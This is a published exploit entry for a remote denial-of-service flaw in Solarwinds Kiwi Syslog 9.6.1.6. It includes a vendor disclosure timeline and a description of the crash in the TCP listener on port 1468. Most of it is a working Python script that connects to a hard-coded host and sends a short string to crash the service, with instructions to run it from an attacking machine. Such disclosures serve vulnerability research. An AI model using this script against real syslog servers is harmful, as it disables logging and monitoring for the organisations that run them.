Solarwinds Kiwi Syslog 9.6.1.6 – Denial of Service
# Exploit Title: Solarwinds Kiwi Syslog 9.6.1.6 - Remote Denial of Service (Type Mismatch) # Date: 26/05/2017 # Exploit Author: Guillaume Kaddouch # Twitter: @gkweb76 # Blog: https://networkfilter.blogspot.com # GitHub: https://github.com/gkweb76/exploits # Vendor Homepage: http://www.solarwinds.com/ # Software Link: http://downloads.solarwinds.com/solarwinds/Release/Kiwi/Syslog/Kiwi-Syslog-Server-9.6.1-Eval.zip # Version: 9.6.1.6 # Tested on: Windows 7 SP1 Family x64 (FR) and Windows 8.1 Pro x64 # Category: DoS """ Disclosure Timeline: -------------------- 2017-05-20: Vulnerability discovered 2017-05-26: Vendor contacted 2017-05-31: Vendor answered (technical support) 2017-05-31: Vendor contacted (no answer) 2017-08-01: Exploit published Description : ------------- A remote Denial of Service exists in Kiwi Syslog 9.6.1.6 in the TCP listener. Apparently any data sent to it make it crash because of a Type Mismatch error. The syslog TCP listener is disabled by default. Instructions: ------------- - Starts Kiwi Syslog, and enable the TCP listener in the settings, default port is 1468. - Run this exploit locally or from your remote attacking machine. """ #!/usr/bin/python import socket host = "10.0.0.56" port = 1468 buffer = "crash please?" try: print "[*] Connecting to %s:%d" % (host, port) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((host, port)) print "[*] Sending buffer... (%d bytes)" % len(buffer) s.send(buffer) s.close() print "[*] Done." except: print "[-] Error connecting" |